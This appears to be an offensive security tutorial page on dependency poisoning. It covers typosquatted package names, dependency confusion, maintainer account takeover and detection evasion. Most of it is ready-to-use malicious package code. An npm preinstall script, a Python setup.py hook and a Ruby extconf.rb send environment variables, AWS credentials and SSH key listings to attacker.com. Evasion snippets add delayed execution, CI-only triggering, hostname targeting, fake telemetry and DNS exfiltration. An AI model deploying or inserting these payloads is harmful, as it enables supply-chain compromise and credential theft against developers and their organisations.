💀 Expert

Dependency Poisoning

Modern applications are 80%+ third-party code. Poisoning a single popular dependency can compromise thousands of downstream targets. This is nation-state level tradecraft.

Real-World Devastation

event-stream (2018) - Backdoor added to package with 2M weekly downloads. SolarWinds (2020) - 18,000+ organizations compromised. ua-parser-js (2021) - Crypto miner injected into 7M weekly downloads. This is not theoretical.

Attack Taxonomy

Attack Type Difficulty Description Impact
Typosquatting 🟢 Easy Register misspelled package names Developers who typo
Dependency Confusion 🟡 Medium Hijack internal package names on public registries Entire organizations
Account Takeover 🟠 Hard Compromise maintainer credentials All package users
Build System Compromise 🔴 Expert Inject malware during package build/publish Catastrophic

Typosquatting

Register packages with names similar to popular libraries. Developers who mistype get your malicious version.

NPM Typosquats

  • lodash → 1odash, lodahs, loadsh
  • express → expres, expresss, expess
  • react → reacct, raect, reactt
  • axios → axois, axio5, axioss

PyPI Typosquats

  • requests → reqeusts, requsets, request
  • urllib3 → urrlib3, url1ib3, urllib
  • beautifulsoup → beautifulsop, beutifulsoup
  • numpy → numppy, nunpy, numy

Dependency Confusion

High-Value Target Attack

Companies use internal package registries (Artifactory, npm Enterprise). If you find an internal package name and register it publicly with a higher version, package managers may pull YOUR malicious version instead.

Attack Flow

🔍
1. Recon
Find internal package names
📦
2. Register
Claim on public registry
💀
3. Poison
Add preinstall payload

Finding Internal Package Names

bash
# 1. JavaScript source maps (often exposed)
curl https://target.com/app.js.map | grep -oP '"sources":\[.*?\]'

# 2. package.json in exposed directories
curl https://target.com/package.json
curl https://target.com/.npm/package.json

# 3. GitHub search for company packages
site:github.com "target-company" package.json
site:github.com "target-company" requirements.txt

# 4. Error messages (package names leaked)
# Look for: "Cannot find module 'target-internal-lib'"

# 5. Wayback Machine
curl "https://web.archive.org/cdx/search/cdx?url=target.com/package.json&output=json"

# 6. NPM/PyPI search for company name
npm search target-company
pip search target-company  # deprecated, use web interface

# Common internal package patterns:
# @company/utils, company-auth, company-logger, internal-api-client

Malicious Package Payloads

bash
// package.json
{
  "name": "target-internal-lib",
  "version": "99.99.99",
  "description": "Internal utilities",
  "scripts": {
    "preinstall": "node payload.js"
  }
}

// payload.js - Exfiltrate build environment
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');

const data = {
  hostname: os.hostname(),
  user: os.userInfo().username,
  cwd: process.cwd(),
  env: process.env,
  whoami: execSync('whoami').toString(),
  id: execSync('id 2>/dev/null || echo N/A').toString(),
  aws_creds: execSync('cat ~/.aws/credentials 2>/dev/null || echo N/A').toString(),
  ssh_keys: execSync('ls -la ~/.ssh/ 2>/dev/null || echo N/A').toString()
};

const req = https.request({
  hostname: 'attacker.com',
  port: 443,
  path: '/collect',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(JSON.stringify(data));
req.end();
bash
# setup.py
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess, base64

class PostInstall(install):
    def run(self):
        install.run(self)
        # Exfiltrate environment
        data = {
            'hostname': socket.gethostname(),
            'user': os.getenv('USER'),
            'pwd': os.getcwd(),
            'env': dict(os.environ)
        }
        import urllib.request, json
        urllib.request.urlopen(
            urllib.request.Request(
                'https://attacker.com/collect',
                data=json.dumps(data).encode(),
                headers={'Content-Type': 'application/json'}
            )
        )

setup(
    name='target-internal-lib',
    version='99.99.99',
    cmdclass={'install': PostInstall}
)
bash
# ext/extconf.rb - runs during gem install
require 'net/http'
require 'json'
require 'socket'

data = {
  hostname: Socket.gethostname,
  user: ENV['USER'],
  pwd: Dir.pwd,
  env: ENV.to_h
}

uri = URI('https://attacker.com/collect')
Net::HTTP.post(uri, data.to_json, 'Content-Type' => 'application/json')

# Still create Makefile so install doesn't fail
File.write('Makefile', "all:\ninstall:\n")

Account Takeover

Compromising maintainer credentials gives you control of legitimate packages.

Attack Vectors

  • • Credential stuffing (reused passwords)
  • • Phishing maintainer emails
  • • Session hijacking via XSS on registry
  • • Social engineering for 2FA bypass
  • • Compromised CI/CD with publish tokens

High-Value Targets

  • • Single-maintainer packages
  • • Packages with many dependents
  • • Dormant but widely-used packages
  • • Packages without 2FA enforcement
  • • Maintainers with weak OSINT presence

Detection Evasion

bash
// 1. Time-delayed execution (avoid sandbox detection)
setTimeout(() => {
  // Malicious code
}, 300000); // 5 minutes

// 2. Environment checks (only run in CI/CD)
if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL) {
  // Payload only runs in build environments
}

// 3. Hostname checks (target specific companies)
const hostname = require('os').hostname();
if (hostname.includes('target-company') || hostname.includes('prod')) {
  // Targeted payload
}

// 4. Obfuscated exfil (looks like telemetry)
const analytics = require('./analytics'); // Actually exfil code
analytics.track('install', { data: process.env });

// 5. DNS exfiltration (bypasses egress filtering)
const dns = require('dns');
const encoded = Buffer.from(JSON.stringify(process.env)).toString('base64');
dns.resolve(`${encoded.slice(0,63)}.attacker.com`, () => {});

Defense Enumeration

When testing, check for these defenses:

bash
# Check .npmrc for registry config
cat .npmrc
# Look for: registry=https://internal-registry.company.com
# If public fallback isn't disabled, vulnerable!

# Check pip.conf
cat ~/.pip/pip.conf
cat /etc/pip.conf
# Look for: index-url = https://internal-pypi.company.com
# extra-index-url = https://pypi.org/simple  # VULNERABLE!

# Check for package-lock.json integrity
# If resolved URLs point to internal registry, dependency confusion harder

# Check Artifactory/Nexus remote repository config
# Virtual repos that mix internal + external = vulnerable

Tools